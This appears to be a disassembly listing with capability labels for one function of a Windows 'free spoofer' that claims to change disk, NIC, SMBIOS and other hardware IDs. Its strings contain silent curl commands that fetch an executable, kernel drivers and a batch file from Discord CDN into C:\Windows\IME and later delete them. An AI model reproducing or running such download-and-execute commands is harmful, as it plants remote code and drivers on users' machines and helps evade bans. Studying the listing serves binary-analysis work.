Function at 0x1400019a0
Capabilities:
Create directory
Delete file
Execute command
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
lea rcx, str.Payx_free_spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rbp - 0x28]
call fcn.140001380
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 4
mov qword [rbp - 0x38], 0xf
mov dword [rbp - 0x50], 0x74696157
mov byte [rbp - 0x4c], bl
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 5
mov qword [rbp - 0x38], 0xf
mov eax, dword [str.Done_n]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x140003858]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], bl
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x20
call fcn.140001f68
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x15
mov qword [rbp - 0x38], 0x1f
movups xmm0, xmmword [str.Press_a_key_to_Spoof_n]
movups xmmword [rax], xmm0
mov ecx, dword [0x140003870]
mov dword [rax + 0x10], ecx
movzx ecx, byte [0x140003874]
mov byte [rax + 0x14], cl
mov byte [rax + 0x15], bl
mov edx, 0xb
lea rcx, [rbp - 0x50]
call fcn.140001230
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov ecx, 0x50
call fcn.140001f68
mov rcx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x45
mov qword [rbp - 0x38], 0x4f
movaps xmm0, xmmword [str.Spoofing_DiskDrive_s___Volume_ID_s___NIC__SMBIOS__GPU__CPU__BaseBoard]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140003890]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400038a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400038b0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400038c0]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x1400038c4]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], bl
mov edx, 0xf
lea rcx, [rbp - 0x50]
call fcn.140001230
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r12, qword [rbp - 0x18]
sub rax, r12
cmp rax, 0xf
jb 0x140001f14
lea r15, [rbp - 0x28]
mov rsi, qword [rbp - 0x28]
mov r13, qword [rbp - 0x10]
cmp r13, 0xf
cmova r15, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea r14, [r12 + 0xf]
mov ebx, 0xf
lea rdi, [rbp - 0x50]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r14, rbx
jbe 0x140001c16
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001bd7
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140001f68
test rax, rax
je 0x140001c03
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001c12
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001beb
xor edi, edi
jmp 0x140001c12
cmp rcx, 0x1000
jb 0x140001c0a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f1a
jmp 0x140001bbc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f68
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rbx
movsd xmm0, qword [str.Old_C:_Serial:]
movsd qword [rdi], xmm0
mov ecx, dword [0x1400038d0]
mov dword [rdi + 8], ecx
movzx eax, word [0x1400038d4]
mov word [rdi + 0xc], ax
movzx eax, byte [0x1400038d6]
mov byte [rdi + 0xe], al
lea rcx, [rdi + 0xf]
mov r8, r12
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov edx, 6
lea rcx, [rbp - 0x50]
call fcn.140001230
lea rcx, str.C:WindowsIME
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1212477944283529276_1256978482639142944_AMIDEWINx64.EXE_ex6682bbefis66816a6fhmbb27765e6ac232482231be19daab6f9ebfe47cabfe7b3811b60b9a8b6f8d8a7d__o_C:WindowsIMEAMIDEWINx64.EXE___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1212477944283529276_1256977803942039593_amigendrv64.sys_ex6682bb4dis668169cdhm7dfd3bd2b3f528826cffa22741202a784c5c97133f1e5e3ce86eb13ea5d093a4__o_C:WindowsIME_amigendrv64.sys___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1212477944283529276_1256977793397559460_amifldrv64.sys_ex6682bb4bis668169cbhmc0624a7b14553dadd998fc5c6ddf2fba13062ee3e811874d2b548c5902a6b436__o_C:WindowsIME_amifldrv64.sys___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1212477944283529276_1256980265813672127_woof.bat_ex6682bd98is66816c18hmdb843a96bc710df3fff47b1e25c6ac9f62466fce045b2deee5977a74796ec817__o_C:WindowsIMEwoof.bat___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r15, [rbp - 0x28]
cmp r13, 0xf
cmova r15, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov ebx, 0xf
lea rdi, [rbp - 0x50]
cmp r14, rbx
jbe 0x140001d5d
mov rbx, r14
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x140001d1c
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001f68
test rax, rax
je 0x140001d4a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001d59
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
je 0x140001d56
cmp rcx, 0x1000
jb 0x140001d51
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001f20
jmp 0x140001d01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f68
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rbx
movsd xmm0, qword [str.New_C:_Serial:]
movsd qword [rdi], xmm0
mov ecx, dword [0x1400038e0]
mov dword [rdi + 8], ecx
movzx eax, word [0x1400038e4]
mov word [rdi + 0xc], ax
movzx eax, byte [0x1400038e6]
mov byte [rdi + 0xe], al
lea rcx, [rdi + 0xf]
mov r8, r12
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov edx, 6
lea rcx, [rbp - 0x50]
call fcn.140001230
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor edi, edi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
mov ecx, 0x50
call fcn.140001f68
mov rcx, rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x40], 0x45
mov qword [rbp - 0x38], 0x4f
movaps xmm0, xmmword [str.Spoofed_DiskDrive_s___Volume_ID_s___NIC__SMBIOS__GPU__CPU__BaseBoard_n]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140003900]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140003910]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140003920]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x140003930]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x140003934]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], dil
mov edx, 2
lea rcx, [rbp - 0x50]
call fcn.140001230
mov word [rbp - 0x42], di
mov qword [rbp - 0x40], 0xd
mov qword [rbp - 0x38], 0xf
movsd xmm0, qword [str.Spoofer_done.]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140003940]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x140003944]
mov byte [rbp - 0x44], al
mov byte [rbp - 0x43], dil
mov edx, 0xf
lea rcx, [rbp - 0x50]
call fcn.140001230
lea rcx, str.C:WindowsIME_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsIME_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsIMEAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsIMEwoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
cmp r13, 0xf
jbe 0x140001ee8
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001ee0
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ee0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140001f60
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001f40
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001210
nop
call fcn.140001170
int3
call fcn.140001170
int3